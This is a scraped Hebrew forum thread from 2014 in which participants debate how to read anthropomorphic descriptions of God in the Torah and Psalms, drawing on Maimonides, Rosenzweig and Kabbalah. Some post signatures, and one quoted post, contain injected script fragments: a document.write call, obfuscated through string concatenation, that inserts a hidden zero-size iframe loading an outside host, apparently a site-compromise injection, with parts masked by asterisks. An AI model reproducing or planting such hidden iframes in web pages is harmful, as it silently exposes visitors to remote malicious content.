|
|
| נשלח ב-17/10/2014 13:17 |
|
| |
הרב מיימוני
לא נראה לך שמן הראוי היה (על כותב או מעביר התורה) להבהיר לפחות פעם אחת ללמד על הכלל כולו שכל התיאורים הם רק לשבר את אזנינו בר??
תוקן על ידי לאמר ב- 17/10/2014 13:18:19
|
|
|
|
| נשלח ב-17/10/2014 13:17 |
|
| |
גושניק
פסוקים הרבה יותר קשים הם אלו המתארים את ה' כרוכב על שמיים ועננים, עיינו בשירת דוד יש שם הרבה דברים קשים. את אלו כנראה יש לפרש כך: אנו יודעים שבכינויים אלו תוארו הבעל ואלילים נוספים. כדי לעקר את האמונה בם הכתובים מקיימים מצוות ואבדתם את שמם בצורה מקורית מאד, הופכים תארים אלו לתארים ה׳. כך עושה גם אברהם אבינו למלכי צדק במפורש (קונה שמיים וארץ אם אינני טוה הוא גם כינוי לאחד הבעלים). אמנם אנו מרגישים לא בנוח עם זה אך זה היה נחוץ פעם.
יפה כתבת. וזה מעין מה שכתבתי לעיל ואני שמח שכיוונתי לדעתך.
ויש להוסיף שזה לא רק להוציא מדעת הטועים, אלא, כפי שטענתי לעיל, מפני שאנו זקוקים לשפה כדי לדבר על דברים שבדת: תיאולוגיה, חויה, תפילה ועוד.
אפרים
יש חלק מדבריך שאני מקבל ויש שלא. זה כמובן רק מעיד על מה שאני חושב ואיך שאני מבין.
הזכרתי תשובה לדבריך בתשובתי לבו"ל, אבל אני מאריך יותר עם ציטוטים מדבריך.
ציימוני,אם אתה מאמין שהקב"ה הכתיב את התורה מילה במילה למשה רבנו הרי שאין מנוס מן המחשבה שהוא עצמו לא חשש לדבר על עצמו במונחים של התגשמות מוחלטת .אז איך קורה שאתה לא מקבל את זה? אולי בגלל שבמשך הדורות קמו בני אדם שנבהלו מן הרעיון שניסו לתרץ תירוצים על ההגשמה ובגלל זה גם אתה נבהל מההאנשה בספר בראשית? או שבכלל סיפור בראשית נכתב באיזו מגילה עתיקה על ידי אנשים פרימיטיביים (בנקודת במבט שלנו) שכתבו לפי הרמה של אותה תקופה שבה היה מקובל להאניש את האלים? זאת מחשבה עוד יותר מפחידה..
אני מסכים בהחלט לחלקים המודגשים. ה' דיבר כך אל משה שיכתוב ולא חשש. והסברתי לעיל למה. כי אין מנוס מדיבור כזה.
למה אני לא מקבל זאת? מאותה סיבה שמי שכתב זאת לא חשב כמו שהתבטא. מי שכתב את הדברים, לדעתי כמובן, הבין בדיוק כמוני, אבל ידע שאין לו דרך אחרת לומר את הדברים. בוודאי לא אם הוא רצה להתפלל ולהשיח את ליבו ולספר על החויה הדתית והאמונית שלו.
הגע בעצמך, האם ניתן לתרגם את הפסוקים של המזמור הבא לשפה פילוסופית?
תהלים פרק יח
(ו) חֶבְלֵי שְׁאוֹל סְבָבוּנִי קִדְּמוּנִי מוֹקְשֵׁי מָוֶת: (ז) בַּצַּר לִי אֶקֲרָא יְדֹוָד וְאֶל אֱלֹהַי אֲשַׁוֵּעַ יִשְׁמַע מֵהֵיכָלוֹ קוֹלִי וְשַׁוְעָתִי לְפָנָיו תָּבוֹא בְאָזְנָיו: (ח) וַתִּגְעַשׁ וַתִּרְעַשׁ הָאָרֶץ וּמוֹסְדֵי הָרִים יִרְגָּזוּ וַיִּתְגָּעֲשׁוּ כִּי חָרָה לוֹ: (ט) עָלָה עָשָׁן בְּאַפּוֹ וְאֵשׁ מִפִּיו תֹּאכֵל גֶּחָלִים בָּעֲרוּ מִמֶּנּוּ: (י) וַיֵּט שָׁמַיִם וַיֵּרַד וַעֲרָפֶל תַּחַת רַגְלָיו: (יא) וַיִּרְכַּב עַל כְּרוּב וַיָּעֹף וַיֵּדֶא עַל כַּנְפֵי רוּחַ:
לפי ההבנה הפילוסופית היה צריך להתבטא בערך כך:
ו. אני מרגיש נורא רע ובמצוקה כאילו אני כבר בארץ המתים ומוקף במלכודות שנועדו להרגני.
ז. מתוך המצוקה אני קורא לאלוקים, ואני מאמין שהוא יעזור לי, ואני חווה זאת ומתאר זאת כאילו יש לו ארמון ובתוך הארמון, למרות המרחק (שאינו גיאוגרפי) הוא מקשיב לי, למרות שאין לו אוזנים ולא אברי חישה ולא מוח ומנגנוני קליטה ועיבוד כמו לאדם.
ח. ה' כאילו מצטער בצערי וכועס על זה למרות שאין לו רגשות ואז זה כאילו כל הארץ רועדת ברעש אדמה נורא בגלל השתתפותו במצוקתי. כמובן זה רק דמיון כי אין כאן שום רעידת אדמה אבל בדמיוני כך אני חש וזה מרגיע אותי להעביר את התחושה הפנימית של תיסכולי העמוק המזעזע את כולי אל כדור הארץ שגם הוא אמור לחוש ולבטא את תחושותי.
ט. למרות שלה' אין פה ואף אני מדמיין אותו כמו דרקון כועס היורה אש והוא כל כך חם מחמת צערי עד שאפילו גחלים עוממות היו נדלקות ממרחק מהשפעתו. כל זה אני מדמיין כי כמובן זה בלתי אפשרי פילוסופית.
י. ה' נמצא מחוץ לעולם וגם אמירה זו אינה מספיק מדוייקת מבחינה פילוסופית ולכן אני מתאר אותו כמי שהשמים, שהם שיא הגובה עבורי לפי מה שאני יודע בפיזיקה ואסטרונומיה בזמן חיבור המילים האלו בימי התהלים, עדיין אותם שמים הם נמוכים ממנו, ולא שהוא מעליהם או ביחס גיאוגרפי. זו פשוט השוואה שבאה לתאר במה שביום אחד בעתיד יכתבו בפורום עצור חושבים זו שפה זהירה שמתרגמת את הביקורת הפילוסופית לקיצוץ בדימויים שלי. ולכן ה' יורד אל השמים ולא יוצא מתוכם כדי לציין שהוא לא באמת שם ואין לו גוף וכו'.
י. אני מדמיין לעצמי איך ה' היה מגייס לו מלאך כדי שיסיע אותו מהר מאד לעזרתי.
איכשהו אני משער שתהלים מהסוג שחיברתי כאן לא היה זוכה לאותה פופולריות כספר תפילות עממי... אבל אולי פילוסופים היו מעדיפים להתפלל ממנו - אם פילוסופים מתפללים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-17/10/2014 13:18 |
|
| |
מיימוני אף (אם / ש) דבריך נכונים למה עד ליום__ היה אפשר לדבר בשפה פשוטה מבלי להבין את האמת שעומדת מאחוריהם ומיום __ התחלנו להסתבך אפשר להמשיך עם השפה הרגילה.
אילו היה לנו שפה אחרת מיוחדת למושגי וענייני האלקים היינו בוחרים לדבר עליו בשפה זו אך זו אינה
אי אפשר להבין על האלקים מושגים כל שהם (כמ"ש הרמב"ם) באותה מידה שאי אפשר להבין מהו (רק לדעת שיש משהו ...) ולכן אין טעם להתקדם חצי פסיעה כאילו אנ מבינים מהו ורק לא מבינים בו "משיגי הגוף"
בתקווה שאני מובן
|
|
|
|
| נשלח ב-17/10/2014 13:23 |
|
| |
לאמור
אתה צודק בשאלתך!
ויש כמה אפשרויות לענות.
א. אחת האפשרויות הא שלילה מטעמים אלו ואחרים של הנחת היסוד שלך, שצריך להציל מטעויות תיאולוגיות ופילוסופיות.
כלומר, לא היה צריך להתריע אפילו פעם אחת. זו טענתו של רוזנצויג בנהרים. לדבריו, המאמין היהודי כל כך ברור לו שדבריו הם מטאפורות, ביטויים ספרותיים, ביטויים אנושיים של כמיהה וצורך, עד שאין לו צורך לעולם להבהיר שהוא משתמש בלשון לא נכונה כלל מבחינה פילוסופית.
ב. היה צריך להתריע. בוודאי שצריך. וזה נעשה יותר מפעם אחת. כמו בביטוי "ה' אלקיכם אש אוכלה" ו"לא ראיתם כל תמונה". אבל כל שלילה היא תמיד חלקית כי אפשר לנסות לדייק ממנה. "לא יראני האדם וחי" סימן שיש מה לראות אבל רואים ומתים.
ג. אפשרות שלישית היא שלא היה ניתן להזהיר אנשים יותר מדי פרימיטיביים. זה דומה למה שכתבו אפרים וגושניק. בשלבים מוקדמים של האנושיות די היה ללמד שה' אחד. מאוחר יותר ההבנה מתפתחת יותר ואז באים התיקונים נוסח סעיף ב'.
ההבדל בין א ל-ג הוא תהומי. לפי סעיף א מעולם לא היתה טעות תיאולוגיות בעם ישראל - לפחות עד להופעת הקבלה ולהופעת הפרופסורים שהאמינו שעם ישראל היה פרימיטיבי והאמין בהאנשה (=דמות הגוף של אלוקים). לפי סעיף ג', הפרופסורים צדקו חלקית.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-17/10/2014 13:25 |
|
| |
בו"ל
צדקת. לא הבנתי. התוכל לחזור? ולפרט, עם דוגמאות למה כוונתך?וציין במה אנו מסכימים ובמה לא?
__נוספה הצעה להבהרת דברי בו"ל_______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");>
תוקן על ידי מיימוני ב- 17/10/2014 13:26:58
|
|
|
|
|
| נשלח ב-17/10/2014 14:04 |
|
| |
| מיימוני כתב: |  | יש כמה אפשרויות לענות.
א. אחת האפשרויות הא שלילה מטעמים אלו ואחרים של הנחת היסוד שלך, שצריך להציל מטעויות תיאולוגיות ופילוסופיות.
כלומר, לא היה צריך להתריע אפילו פעם אחת. זו טענתו של רוזנצויג בנהרים. לדבריו, המאמין היהודי כל כך ברור לו שדבריו הם מטאפורות, ביטויים ספרותיים, ביטויים אנושיים של כמיהה וצורך, עד שאין לו צורך לעולם להבהיר שהוא משתמש בלשון לא נכונה כלל מבחינה פילוסופית.
ב. היה צריך להתריע. בוודאי שצריך. וזה נעשה יותר מפעם אחת. כמו בביטוי "ה' אלקיכם אש אוכלה" ו"לא ראיתם כל תמונה". אבל כל שלילה היא תמיד חלקית כי אפשר לנסות לדייק ממנה. "לא יראני האדם וחי" סימן שיש מה לראות אבל רואים ומתים.
ג. אפשרות שלישית היא שלא היה ניתן להזהיר אנשים יותר מדי פרימיטיביים. זה דומה למה שכתבו אפרים וגושניק. בשלבים מוקדמים של האנושיות די היה ללמד שה' אחד. מאוחר יותר ההבנה מתפתחת יותר ואז באים התיקונים נוסח סעיף ב'.
ההבדל בין א ל-ג הוא תהומי. לפי סעיף א מעולם לא היתה טעות תיאולוגיות בעם ישראל - לפחות עד להופעת הקבלה ולהופעת הפרופסורים שהאמינו שעם ישראל היה פרימיטיבי והאמין בהאנשה (=דמות הגוף של אלוקים). לפי סעיף ג', הפרופסורים צדקו חלקית.< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
אני משער שברור לך מה אני עשוי להגיב וברור לי מה תהיה התשובה שלך לכך (אולי לא ממש ברור, אבל בקווים כלליים) ולכן נניח לזה.
בכל זאת אנחנו הרי יודעים שישנם יותר מכמה סתירות או מה שנראה כסתירות בתורה, בדרך כלל מנסים ליישב ששני הפסוקים הנראים כסותרים יתאימו לפירוש המפשר (למשל בתיבת נח - חיות טמאות שנים שנים והטהורות שבעה שבעה והדוגמאות כמובן רבות)
מה שאתה עושה כאן, אתה מקבל פסוק כמו לא איש אל ויכזב ובן אדם ויתנחם ודוחה מפניו את וינחם ה' וכיוצ"ב
מה אני מציע? את תורת הקבלה, שאתה כ"כ לא אוהב (ושאין לי מושג בה). (למרות שהקבלה עצמה אינה משתמשת בפסוקים אלו) אבל היא עשוייה ליישב בין הפסוקים ע"י הוספת פנים ודרגות (ואולי בחינות?) לאלקים (או אלקות)
אתה רואה בזה קרוב לע"ז כנראה מכח הפסוקים המלמדים על אל אחד (הפילוסופיה מסוגלת להתגמש קצת יותר לא?) אבל העובדה שבכל הסתירות האחרות בתורה מנסים ליישב את שני הפסוקים ואין דוחים את האחד מפני השני זה יכול להיות מספיק סיבה לעשות זאת גם כאן.
|
|
|
|
| נשלח ב-17/10/2014 14:16 |
|
| |
מיימוני אנסה להסביר
בעיני הרמב"ם אי אפשר לומר על ה' שום דבר לא מה שמבטא פעולה ולא מה שמבטא רגש ששניהם שינויים, בעצם שייך לומר רק שקיים משהו (אפילו לכתוב שהוא עשה את כל הנבראים התקשה הרמב"ם, והאריך לסבך שכל הנמצאים נמצאים מחמת הימצאותו ואלו יעלה על הדעת וכו'). כמובן כל קיום התורה היא האמונה שיש יחס בין ה' לעולם גם אחרי שנברא ייחס של ציוויים של שמיעת תפילה של שכר ועונש וכו'. הרמב"ם ניסה לתמרן בין המדע לאמונה (ויש שיאמרו שהפסיד את שניהם).
קושי של הגשמה לרמב"ם אחרי שהשכל לא מבין מהו ה' (רק שבהכרח [היה] קיים משהו שזה סיבת כל מה שקיים) אי אפשר לומר עליו שום דבר ע"כ אבל אם כבר מדברים עליו אין שום הפרש בין לומר שהוא קיים לבין לומר עליו כל דבר שהוא. הפשרה להסכים לומר עליו רק מה שלא כל כך רחוק כביכול אין לה תוכן.
בלשון אחרת מושג משל הוא לומר דבר בצורה שהשומע מכיר ולרמז משהו שיובן על פי זה אבל לרמז למשהו שאין אפשרות להבינו אינו משל אלא הבאי.
אפשרות נוספת להתחמק מכל הפילוסופיה הזאת ולהמשיך לדבר בשפה של הקדמונים לא כי זו הכי אמת אלא שאין ברירה חילופית.
|
|
|
|
| נשלח ב-17/10/2014 14:31 |
|
| |
למיימוני אתה הצהרת לא פעם שלרמב"ם האלקים הוא השכל המופשט ושאתה אינך סבור כמותו גם בזה וגם במתווכים מהו לדעתך ?
|
|
|
|
| נשלח ב-17/10/2014 15:29 |
|
| |
יסלחו לי כל המלומדים שליט"א,
כמעט כולם בדעה אחת ש"מתהלך לרוח היום" - אינו כפשוטו.
אולי באותו יום החליט האלוקים להכניס את עצמו לדמות גוף? וכי אסור לו?
אני רואה מיד מישהו קופץ ושואל "לשם מה הוא מכניס את עצמו לדמות גוף?" ואני עונה לו - "אינני יודע לשם מה, סתם כי מתחשק לו!"
|
|
|
|
| נשלח ב-17/10/2014 15:36 |
|
| |
מיימוני, כוונת דברי שונה. הובאו כאן פרושים רבים ויפים. כל פרשן כזה סוחב עימו מטען תרבותי הנראה לו מובן מאליו, 'טבעי', נכון, והוא מתאים ומתרגם את הכתוב ל'מטען הטבעי' הנכון שלו. הקושי נוצר כיוון שהתפיסה השתנתה הפרשן שאינו מודה בזה, אינו מנסה להבין את הכותב על פי ראיתו והשקפתו של הכותב החי במקום ובזמן אחרים. הוא לא יקבל את העובדה שרבותיו הקדומים תפסו את האל כדמות גופנית ולא ראו פגם בדבר.
כאשר עולה ההבנה כי התפיסה היתה שונה או אז כותב מיימוני 'ועדיין הדברים קשים עבורי לקבלם'.
גם בני אותה תקופה החיים במקומות שונים מסגלים לעצמם השקפות שונות. חכמינו בארץ ישראל ובבבל אינם כותבים כפילון מאלכסנדריה. גם הוא יהודי מאמין, יודע ואוהב תורה, אבל הוא גר במרכז תרבות עולמי ונושא איתו מטען תרבותי שהיה זר לחכמינו ששכנו בפריפריה, לכן היצירות שלהם שונות. אין בכך כל רע, זה מוסיף, מגוון ומעשיר.
דרשנים אינם עוסקים בפילוסופיה ובתאולוגיה, אינם רגילים בעיון מופשט, ולא עומדים על הצורך להקפיד על העדר סתירות וניגודי ענינים. דרשות הן סוגה ספרותית בעלת סגנון חופשי הנותנת דרור לרעיונות אבל לא בונה שיטות. כך גם השומעים להם. גם עושר הרעיונות הזה מעשיר את המחשבה, אבל צריך לדעת להשתמש בהן ולא לראותן כציון עובדות.
עודד
 |
|
|
|
|
| נשלח ב-17/10/2014 15:36 |
|
| |
פתי
בהנחה שאלקים שהוא גוף אינו אלקים שזה פרדוקס,אז לומר שלזמן מה היה בגוף הוא לומר שלזמן מה לא היה אלקים ואחר כך חזר ונהיה. וזה דיון האם אלקים יכול לבטל עצמו ועדיין ישארו הברואים קיימים ואם כן האם יכול לבטל את עצמו לזמן. (זה הוא ?).
ובעצם זה אמונת /אלילות הנוצרים של היום שאלקים היה ויהיה אחד מעולם ועד עולם אלא שתקופה קצרה של כשלושים שנה הפך עצמו לגוף/ים (+לרוח).
|
|
|
|
| נשלח ב-17/10/2014 15:38 |
|
| |
האלקים אינו מוגבל לפעול לפי תפיסותיך, ומה שפרדוקס אצלך - אינו פרדוקס אצלי, למשל.
|
|
|
|
| נשלח ב-17/10/2014 15:42 |
|
| |
אלקים שהוא רק גוף - אינו אלקים.
אלקים שיכול גם להיות גוף - הוא אלקים!
|
|
|
|
| נשלח ב-17/10/2014 16:33 |
|
| |
לאמור
כתבת שבוודאי אדע מה אתה רוצה לכתוב. אז לא, ממש לא. וסליחה. צריך לפרט ורצוי לנמק.
שאלת
אנחנו הרי יודעים שישנם יותר מכמה סתירות או מה שנראה כסתירות בתורה, בדרך כלל מנסים ליישב ששני הפסוקים הנראים כסותרים יתאימו לפירוש המפשר ולפי זה
אתה מקבל פסוק כמו לא איש אל ויכזב ובן אדם ויתנחם ודוחה מפניו את וינחם ה' וכיוצ"ב
מה אני מציע? את תורת הקבלה, שאתה כ"כ לא אוהב (ושאין לי מושג בה). (למרות שהקבלה עצמה אינה משתמשת בפסוקים אלו) אבל היא עשוייה ליישב בין הפסוקים ע"י הוספת פנים ודרגות (ואולי בחינות?) לאלקים (או אלקות)
אתה רואה בזה קרוב לע"ז כנראה מכח הפסוקים המלמדים על אל אחד (הפילוסופיה מסוגלת להתגמש קצת יותר לא?) אבל העובדה שבכל הסתירות האחרות בתורה מנסים ליישב את שני הפסוקים ואין דוחים את האחד מפני השני זה יכול להיות מספיק סיבה לעשות זאת גם כאן.
אני עונה:
את הדוגמא שלך על "לא איש א-ל ויכזב" לא זכרתי אבל היא טובה מאד.
אמנם הנימוק שכתבת אינו הנימוק שלי. לא רק הוא.
יש כאן גם שיקול אמוני, תיאולוגי, פילוסופי.
עיקר בתורה שהכל עומד עליו הוא הטרנצנדטיות של השם. השתמשתי במונח לועזי כי הוא כולל הכל. קשה לי לחשוב כרגע על מונח עברי. זה לא רק "אחדות" כי המונח הזה מצד אחד לא מספיק ברור ולא מעלה על הדעת את השימוש - המופרז - שעשו בו ראשונים כמו בעל חובות הלבבות ומצד שני הצליחו מקובלים לנכס אותו לשיטתם.
כיון שיש עיקר שה' הוא בלתי תלוי בעולם ואי אפשר לומר עליו דבר, מלבד תארי פעולה, אז כאשר אני נתקל בפסוק הפוך אני מיישבו לפי דרכי ולפי הסברה.
אין כאן תחרות בין שני פסוקים. יש כאן פסוק הסותר את המציאות. וגם עליו אמרו רבותינו הראשונים "חלילה לדבר ה' שיהיה סותר".
אשר לקבלה, אם נוכל להסכים על מה אנו מצביעים במונח זה, כגון הזוהר או קבלת האר"י, יש סיבות רבות לדחותה, ולא רק אלו שהזכרת.
אבל בבקשה לא לקחת את האשכול לכיוון ההוא. לא שאני הבעלים. אבל זה יוציאנו מן הענין.
 |
|
|
|
|
| נשלח ב-17/10/2014 16:39 |
|
| |
בו"ל
קראתי את דבריך על הרמב"ם. יש מקום לדון בהם, אבל נניח שהם משקפים את דעתו.
יותר מכך, אני מסכים להם במידה רבה. הם דומים מאד למה שכתבתי.
ולכן?
אולי זו היתה קושיה בדבריך:
בלשון אחרת מושג משל הוא לומר דבר בצורה שהשומע מכיר ולרמז משהו שיובן על פי זה אבל לרמז למשהו שאין אפשרות להבינו אינו משל אלא הבאי.
ובכן, זה בדיוק מה שניסיתי לכתוב לעיל. שאנו נאלצים בעסקנו בנושא של אלוקים לדון במשהו שאין אפשרות לדבר עליו. ולכן יוכל מי שירצה לטעון שהדברים הם הבאי. אבל יש אפשרות לנסות לגשר על הבלתי אפשרי ולדבר בזהירות עם הסתייגויות וחזרות.
אפשרות נוספת להתחמק מכל הפילוסופיה הזאת ולהמשיך לדבר בשפה של הקדמונים לא כי זו הכי אמת אלא שאין ברירה חילופית.
אני בהחלט מציע לדבר בלשון הקדמונים אבל לזכור שהם עצמם לא תפסו אותה כפשוטה. ואם תפסו כך, הרי שהם שגו.
וראה לעיל את הנימוק שכתבתי עבור "לאמור" ושכתבתי לאורך כל האשכול: כיון שברור (וצריך להסביר מדוע זה ברור) שה' מעבר להשגה וטרנצנדנטי, לכן כל מה שייאמר עליו יהיה טעות ועלינו להתמודד מול סתירות כדי לדבר דיבורים שבדת.
אפשר כמובן רק לשתוק (ויטגנשטיין) אבל בדרך כלל רוצים דווקא לדבר. לדבר על ולדבר עם ה'.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
|